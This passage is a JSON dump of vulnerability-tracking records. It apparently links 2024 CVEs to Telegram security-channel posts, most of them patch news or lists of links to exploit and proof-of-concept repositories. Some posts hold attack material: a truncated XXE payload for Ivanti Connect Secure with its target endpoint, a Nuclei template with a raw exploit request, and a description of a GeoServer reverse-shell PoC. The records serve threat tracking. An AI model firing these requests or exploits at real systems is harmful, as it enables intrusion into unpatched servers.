Citrix updates for CVE-2024-6235, & Broadcom addresses flaws in VMware Cloud Director (CVE-2024-22277) & Aria Automation (CVE-2024-22280). \n \nLearn more: https://thehackernews.com/2024/07/gitlab-patches-critical-flaw-allowing.html \n \nDon't wait \u2013 secure your development environment now.", "creation_timestamp": "2024-07-11T05:53:00.000000Z"}, {"uuid": "1ea7d88c-f597-49b4-87df-e4833a370ef4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22277", "type": "seen", "source": "https://t.me/thehackernews/5237", "content": "\u26a0\ufe0f GitLab has patched a critical vulnerability (CVE-2024-6385) with a CVSS score of 9.6, allowing attackers to run pipeline jobs as any user. \n \nAlso, Citrix updates for CVE-2024-6235, & Broadcom addresses flaws in VMware Cloud Director (CVE-2024-22277) & Aria Automation (CVE-2024-22280). \n \nLearn more: https://thehackernews.com/2024/07/gitlab-patches-critical-flaw-allowing.html \n \nDon't wait \u2013 secure your development environment now.", "creation_timestamp": "2024-07-11T05:53:00.000000Z"}, {"uuid": "47204ae7-31ed-4bc2-b6e4-0a75a3db53fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "seen", "source": "https://t.me/xakep_ru/15371", "content": "\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u043f\u0440\u0438\u0437\u044b\u0432\u0430\u044e\u0442 \u0441\u0440\u043e\u0447\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0430\u0442\u0447\u0438 \u0434\u043b\u044f \u043d\u043e\u0432\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Ivanti\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Ivanti \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e \u043d\u043e\u0432\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0435\u0439 Connect Secure, Policy Secure \u0438 \u0448\u043b\u044e\u0437\u044b ZTA. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u043f\u0440\u0438\u0437\u044b\u0432\u0430\u044e\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0430\u0442\u0447\u0438 \u043d\u0430 \u0441\u0432\u043e\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\nhttps://xakep.ru/2024/02/09/ivanti-cve-2024-22024/", "creation_timestamp": "2024-02-09T18:18:29.000000Z"}, {"uuid": "a0a955ec-f0ac-4ac6-bfb6-2a9b9ab073bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22423", "type": "seen", "source": "https://t.me/cultofwire/1255", "content": "BatBadBut: You can't securely execute commands on Windows\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 Vulnerability Note Multiple programming languages fail to escape arguments properly in Microsoft Windows \u043e\u0442 \u0430\u0432\u0442\u043e\u0440\u0430.\n\nBatBadBut \u2014 \u044d\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f Windows, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043a\u043e\u0441\u0432\u0435\u043d\u043d\u043e \u0437\u0430\u0432\u0438\u0441\u044f\u0442 \u043e\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 CreateProcess, \u043f\u0440\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u0439.\n\nCreateProcess() \u043d\u0435\u044f\u0432\u043d\u043e \u043f\u043e\u0440\u043e\u0436\u0434\u0430\u0435\u0442 cmd.exe \u043f\u0440\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u043f\u0430\u043a\u0435\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 (.bat, .cmd \u0438 \u0442. \u0434.), \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043d\u0435 \u0443\u043a\u0430\u0437\u0430\u043b\u043e \u0438\u0445 \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0435.\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e cmd.exe \u0438\u043c\u0435\u0435\u0442 \u0441\u043b\u043e\u0436\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0440\u0430\u0437\u0431\u043e\u0440\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u044b\u0445 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u0430 \u0441\u0440\u0435\u0434\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u044f\u0437\u044b\u043a\u043e\u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u044b\u0435 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b.\n\u0418\u0437-\u0437\u0430 \u044d\u0442\u043e\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0435\u0441\u043b\u0438 \u043a\u0442\u043e-\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0447\u0430\u0441\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u044b\u0445 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430.\n\n\u0418\u043c\u043f\u0430\u043a\u0442:\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b. \u041f\u043e\u043b\u043d\u043e\u0435 \u0432\u043b\u0438\u044f\u043d\u0438\u0435 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u044f\u0437\u044b\u043a \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438\u043b\u0438 \u0442\u0430\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u043c\u043e\u0434\u0443\u043b\u044c\n\n\u041a\u0430\u043a\u0438\u0435 \u044f\u0437\u044b\u043a\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442:\n- Haskell\n- Node.js\n- Rust\n- PHP\n\n\u041d\u043e \u0430\u0432\u0442\u043e\u0440 \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u044d\u0442\u043e \u0442\u0430\u043a \u0436\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043c\u043e \u043a Erlang, Go, Java, Python \u0438 Ruby.\n\n\u0421\u043f\u0438\u0441\u043e\u043a CVE:\nCVE-2024-1874\nCVE-2024-22423\nCVE-2024-24576\nCVE-2024-3566", "creation_timestamp": "2024-04-15T15:02:52.000000Z"}, {"uuid": "e03a68cb-1642-46a3-8a36-5521b7e03c9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22263", "type": "published-proof-of-concept", "source": "https://t.me/thebugbountyhunter/9052", "content": "CVE-2024-22263: Spring Cloud Dataflow Arbitrary File Writing\n\nhttps://blog.securelayer7.net/spring-cloud-data-flow-exploit/", "creation_timestamp": "2024-08-22T18:13:55.000000Z"}, {"uuid": "5b189628-640d-4d94-8b8f-5f94ae23fc02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22274", "type": "published-proof-of-concept", "source": "https://t.me/GhostClanInt/25267", "content": "Tools - Hackers Factory \n\nExploit \n\n1. CVE-2024-36991:\nSplunk Enterprise Path traversal\nhttps://github.com/bigb0x/CVE-2024-36991\n\n2. CVE-2024-22274:\nRCE in VMware vCenter Server\nhttps://github.com/mbadanoiu/CVE-2024-22274\n\n3. CVE-2024-36401:\nGeoServer Unauth RCE\nhttps://github.com/bigb0x/CVE-2024-36401\n\nGitHub - payloadbox/sql-injection-payload-list: SQL Injection Payload List\n\nhttps://github.com/payloadbox/sql-injection-payload-list\n\nGitHub - ThatNotEasy/CVE-2024-27956: Perform with massive Wordpress SQLI 2 RCE\n\nhttps://github.com/ThatNotEasy/CVE-2024-27956\n\nMemProcFS 5.10 released! Support for Windows 11 24H2 added!\n\nMemProcFS - super fast memory forensics of live memory and memory dumps!\n\nhttps://github.com/ufrisk/MemProcFS\n\nCVE-2024-37081: The vCenter Server contains multiple local privilege escalation vulnerabilities due to misconfiguration of sudo.\u00a0\n\nhttps://github.com/Mr-r00t11/CVE-2024-37081\n\nCVE-2024-36401: RCE for GeoServer version prior to 2.25.1, 2.24.3 and 2.23.5 of GeoServer.\n\nPOC for CVE-2024-36401 GeoServer. This POC will attempt to establish a reverse system shell from the targets.\n\nhttps://github.com/bigb0x/CVE-2024-36401\n\nCVE-2024-6387, targeting a signal handler race condition in OpenSSH's server (sshd) on glibc-based Linux systems. The vulnerability allows for remote code execution as root due to async-signal-unsafe functions being called in the SIGALRM handler.\n\nPoC\nhttps://github.com/acrono/cve-2024-6387-poc\n\nCVE-2024-29849: Veeam Backup Enterprise Manager Authentication Bypass.\n\nPoC\nhttps://github.com/sinsinology/CVE-2024-29849\n\n#CyberDilara\nhttps://t.me/CyberDilara", "creation_timestamp": "2024-07-14T11:05:50.000000Z"}, {"uuid": "5b55bcd1-0af3-4bca-baa0-0019f1d66762", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22939", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/1900", "content": "https://github.com/NUDTTAN91/CVE-2024-22939\n#github #poc #exploit", "creation_timestamp": "2024-01-25T16:59:08.000000Z"}, {"uuid": "f0b25dc7-8cc5-438d-9124-c946ac5e98da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "published-proof-of-concept", "source": "https://t.me/BugCod3/448", "content": "CVE-2024-22024\n\nXXE on Ivanti Connect Secure\n\n\u2620\ufe0f payload encoded base64:\n %xxe;]>\n\nsend it to:\n127.0.0.1/dana-na/auth/saml-sso.cgi with SAMLRequest parm\n\n#bugbountytips #cve #Ivanti\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\ud83d\udc64 T.me/BugCod3BOT \n\ud83d\udce3 T.me/BugCod3", "creation_timestamp": "2024-02-10T02:35:18.000000Z"}, {"uuid": "68aa24dc-4314-458a-bff0-8c8b0de11206", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22515", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/1915", "content": "https://github.com/Orange-418/AgentDVR-5.1.6.0-File-Upload-and-Remote-Code-Execution\n\nCVE-2024-22515 arbitrary file upload and CVE-2024-22514 remote code execution for AgentDVR 5.1.6.0 (Authenticated)\n\n#github #poc #exploit", "creation_timestamp": "2024-01-28T05:51:33.000000Z"}, {"uuid": "a8e9b678-abba-465a-860b-9ebce2eb0638", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22514", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/1915", "content": "https://github.com/Orange-418/AgentDVR-5.1.6.0-File-Upload-and-Remote-Code-Execution\n\nCVE-2024-22515 arbitrary file upload and CVE-2024-22514 remote code execution for AgentDVR 5.1.6.0 (Authenticated)\n\n#github #poc #exploit", "creation_timestamp": "2024-01-28T05:51:33.000000Z"}, {"uuid": "b52eb8a5-58ef-4541-99d0-c7a392902506", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22026", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/2502", "content": "https://github.com/securekomodo/CVE-2024-22026\n\nExploit POC for CVE-2024-22026 affecting Ivanti EPMM \"MobileIron Core\"\n#github #poc", "creation_timestamp": "2024-05-17T15:41:55.000000Z"}, {"uuid": "274a075a-c59f-4935-970b-de2068c01096", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22243", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/2937", "content": "https://github.com/SeanPesce/CVE-2024-22243\n\nExample exploitable scenarios for CVE-2024-22243 affecting the Spring framework (open redirect & SSRF).\n#github", "creation_timestamp": "2024-08-06T12:49:42.000000Z"}, {"uuid": "35c08633-476f-43a0-a3e4-4f8a9808675d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "published-proof-of-concept", "source": "https://t.me/BugCod3/450", "content": "Nuclei PoC for Ivanti XXE (CVE-2024-22024)\n\nid: CVE-2024-22024\n\ninfo:\n  name: Ivanti Connect Secure - XXE\n  author: watchTowr\n  severity: high\n  description: |\n    Ivanti Connect Secure is vulnerable to XXE (XML External Entity) injection.\n  impact: |\n    Successful exploitation of this vulnerability could lead to unauthorized access to sensitive information or remote code execution.\n  remediation: |\n    Apply the latest security patches or updates provided by Ivanti to fix the XXE vulnerability.\n  reference:\n    - https://labs.watchtowr.com/are-we-now-part-of-ivanti/\n    - https://twitter.com/h4x0r_dz/status/1755849867149103106/photo/1\n  metadata:\n    max-request: 1\n    vendor: ivanti\n    product: \"connect_secure\"\n    shodan-query: \"html:\\\"welcome.cgi?p=logo\\\"\"\n  tags: cve,cve2024,kev,xxe,ivanti\n\nvariables:\n  payload: ' %watchTowr;]>'\n\nhttp:\n  - raw:\n      - |\n        POST /dana-na/auth/saml-sso.cgi HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        SAMLRequest={{base64(payload)}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol  # Confirms the DNS Interaction\n        words:\n          - \"dns\"\n\n      - type: word\n        part: body\n        words:\n          - '/dana-na/'\n          - 'WriteCSS'\n        condition: and\n# digest: 490a0046304402206a39800bff0d9ca85a05e3686a0e246f8d5504a38e8501a1d7e8684ae6f2853002205ba7c74bb1f99cacf693e8a5a1cd429dcd7e52fab188beb8c95b934e4aabcd57:922c64590222798bb761d5b6d8e72950\n\n#Nuclei #Templates #PoC #XXE\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\ud83d\udc64 T.me/BugCod3BOT \n\ud83d\udce3 T.me/BugCod3", "creation_timestamp": "2024-02-10T03:25:31.000000Z"}, {"uuid": "de964f8c-60e2-45a1-91b9-fc9ffb936f77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22532", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/2015", "content": "https://github.com/pwndorei/CVE-2024-22532\n\nDenial of Service\n#github #DOS #poc", "creation_timestamp": "2024-02-23T06:16:31.000000Z"}, {"uuid": "aa3921ed-a592-4807-9986-983f2b852025", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22274", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/2792", "content": "https://github.com/l0n3m4n/CVE-2024-22274-RCE\n\nPrivilege Escalation: VMware vCenter Server Authenticated RCE\n#github #exploit #poc", "creation_timestamp": "2024-07-15T17:53:12.000000Z"}, {"uuid": "06686d11-b1e1-41cb-bde7-cd2b894a7761", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22729", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/2717", "content": "https://packetstormsecurity.com/files/179200/Netis-MW5360-Remote-Command-Execution.html\n\nNetis MW5360 Remote Command Execution cve-2024-22729\n#poc", "creation_timestamp": "2024-06-26T09:14:27.000000Z"}, {"uuid": "9097c4c8-0b1b-415a-ae96-31b8786764a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22263", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/3094", "content": "https://github.com/securelayer7/CVE-2024-22263_Scanner\n\n(CVE-2024-22263) Spring Cloud Dataflow Arbitrary File Writing Scanne\n#github #exploit #tools", "creation_timestamp": "2024-09-02T06:53:36.000000Z"}, {"uuid": "c0a148e3-fe82-46a2-a0d4-ab19d6605085", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22145", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9824", "content": "#exploit\n1. CVE-2024-0679:\nColorMag <=3.1.2 - Missing Authorization to Authenticated Arbitrary Plugin Installation/Activation\nhttps://github.com/RandomRobbieBF/CVE-2024-0679\n\n2. HEVD Exploit - Bypassing KVA Shadow/SMEP on Win10 22H2\nhttps://github.com/ommadawn46/HEVD-Arbitrary_Overwrite-KVA_Shadow\n\n3. CVE-2024-22145:\nInstaWP Connect - Missing Authorization to Arbitrary Options Update\nhttps://github.com/RandomRobbieBF/CVE-2024-22145", "creation_timestamp": "2024-01-22T12:56:01.000000Z"}, {"uuid": "a146e8a1-d335-4b07-be40-6367caeb31be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22416", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9817", "content": "#exploit\n1. CVE-2024-0517:\nGoogle Chrome V8 Out-of-Bounds Write Code Execution\nhttps://blog.exodusintel.com/2024/01/19/google-chrome-v8-cve-2024-0517-out-of-bounds-write-code-execution\n\n2. CVE-2023-28588: \nTransient DOS in Bluetooth Host while rfc slot allocation\nhttps://github.com/uthrasri/CVE-2023-28588_Singlefile\n\n3. CVE-2024-22416:\nCSRF in pyload-ng\nhttps://github.com/mindstorm38/ensimag-secu3a-cve-2024-22416?tab=readme-ov-file", "creation_timestamp": "2024-01-20T19:57:37.000000Z"}, {"uuid": "fe6749a9-903b-43ba-a34f-43f330bf272e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22899", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9902", "content": "#exploit\n1. CVE-2023-42820,\nCVE-2023-42820,\nCVE-2023-42819:\nJumpserver Preauth RCE Exploit Chain\nhttps://sites.google.com/site/zhiniangpeng/blogs/Jumpserver\n\n2. CVE-2024-20931:\nA new attack surface for JNDI injection\nhttps://github.com/GlassyAmadeus/CVE-2024-20931\n\n3. CVE-2024-22899 - 22903:\nExploit Chain for Multiple Vulnerabilities in VinChin Backup & Recovery\nhttps://github.com/Chocapikk/CVE-2024-22899-to-22903-ExploitChain", "creation_timestamp": "2024-02-07T20:22:24.000000Z"}, {"uuid": "af8c9556-53b8-4513-a2ca-15e1ae4d8a4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22514", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9866", "content": "#exploit\n1. CVE-2024-23897:\nJenkins RCE PoC\nhttps://github.com/binganao/CVE-2024-23897\n]-> https://github.com/wjlin0/CVE-2024-23897\n]-> scanner: https://github.com/xaitax/CVE-2024-23897\n\n2. CVE-2024-22514:\nRCE in Agent DVR\nhttps://github.com/Orange-418/CVE-2024-22514-Remote-Code-Execution\n\n3. CVE-2022-4262:\nType Confusion in V8\nhttps://github.com/mistymntncop/CVE-2022-4262\n]-> https://github.com/bjrjk/CVE-2022-4262", "creation_timestamp": "2024-09-04T05:58:30.000000Z"}, {"uuid": "4d1ed324-cb53-41ee-9b88-7b69480a0d87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22894", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9870", "content": "#exploit\n1. CVE-2024-22894:\nWithin heatpump root user\u00a0psw decrypt/crack\nhttps://github.com/Jaarden/CVE-2024-22894\n\n2. CVE-2024-23746:\nMiro Desktop 0.8.18 on macOS allows Electron code injection\nhttps://github.com/louiselalanne/CVE-2024-23746\n\n3. CVE-2023-6112:\nChrome content::NavigationURLLoaderImpl::FallbackToNonInterceptedRequest Heap UaF\nhttps://packetstormsecurity.com/files/176721/Chrome-content-NavigationURLLoaderImpl-FallbackToNonInterceptedRequest-Heap-Use-After-Free.html", "creation_timestamp": "2024-01-29T11:38:00.000000Z"}, {"uuid": "3864e372-18bf-4647-9521-37c6e0fb3c72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22641", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/10849", "content": "#exploit\n1. CVE-2024-32136:\nWP BWL Advanced FAQ Manager plugin <=2.0.3 - Auth. SQLi\nhttps://github.com/xbz0n/CVE-2024-32136\n\n2. CVE-2024-22641:\nTCPDF ReDoS if parsing an untrusted SVG file\nhttps://github.com/zunak/CVE-2024-22641", "creation_timestamp": "2024-11-19T17:49:20.000000Z"}, {"uuid": "dd8df5e9-25f5-4dd4-b283-0dc58b1a031e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22857", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/10140", "content": "#exploit\n1. CVE-2024-28120:\nAPI abuse in codeium-chrome\nhttps://securitylab.github.com/advisories/GHSL-2024-027_GHSL-2024-028_codeium-chrome\n\n2. CVE-2024-22857:\nArbitrary Code Execution in ZLOG\nhttps://www.ebryx.com/blogs/arbitrary-code-execution-in-zlog-cve-2024-22857", "creation_timestamp": "2024-03-13T15:53:39.000000Z"}, {"uuid": "8f3e7c92-061f-42c3-b9da-25094a8cc338", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22369", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/10008", "content": "#exploit\n1. CVE-2024-0811:\nChrome pageCapture.saveAsMHTML() Extension API Blocked Origin Bypass\nhttps://packetstormsecurity.com/files/177172/Chrome-chrome.pageCapture.saveAsMHTML-Extension-API-Blocked-Origin-Bypass.html\n\n2. CVE-2023-50387:\nKeyTrap in DNS/DNSSEC\nhttps://github.com/knqyf263/CVE-2023-50387\n\n3. CVE-2024-22369:\nApache Camel Unsafe Deserialization\nhttps://github.com/oscerd/CVE-2024-22369", "creation_timestamp": "2024-02-20T14:41:20.000000Z"}, {"uuid": "92a137fb-8c48-43b1-884f-8cebc55b9969", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9948", "content": "#Blue_Team_Techniques\n1. A repository of code signing certificates known to have been leaked/stolen, then abused by threat actors\nhttps://github.com/WithSecureLabs/lolcerts\n2. Check for CVE-2024-22024 vulnerability in Ivanti Connect Secure\nhttps://github.com/0dteam/CVE-2024-22024", "creation_timestamp": "2024-02-11T00:55:04.000000Z"}, {"uuid": "3bd4318d-c266-4d58-8fc4-582963589dfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22318", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9966", "content": "#exploit\n1. CVE-2024-22318:\nIBM i Access Client Solutions Remote Credential Theft\nhttps://hyp3rlinx.altervista.org/advisories/IBMI_ACCESS_CLIENT_REMOTE_CREDENTIAL_THEFT_CVE-2024-22318.txt\n\n2. Exploit Against Unnamed BYTEVALUE Router Vulnerablity Included in Mirai\nhttps://isc.sans.edu/diary/Exploit+against+Unnamed+Bytevalue+router+vulnerability+included+in+Mirai+Bot/30642", "creation_timestamp": "2024-03-28T05:11:05.000000Z"}, {"uuid": "77517fa3-0048-4658-a5ef-504708afd1e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22319", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/10025", "content": "#exploit\n1. XAMPP Buffer Overflow (Unicode+SEH)\nhttps://www.exploit-db.com/exploits/51800\n\n2. CVE-2024-22532:\nXnSoft XnView 2.51.5 and NConvert 7.163 - Heap-based Buffer Overflow\nhttps://github.com/pwndorei/CVE-2024-22532\n\n3. CVE-2024-22319:\nIBM ODM RCE\nhttps://labs.watchtowr.com/double-k-o-rce-in-ibm-operation-decision-manager", "creation_timestamp": "2024-02-23T12:23:01.000000Z"}, {"uuid": "f6e96b74-3c95-40db-b54f-1c00e7a4aa8f", "vulnerability_lookup_origin": 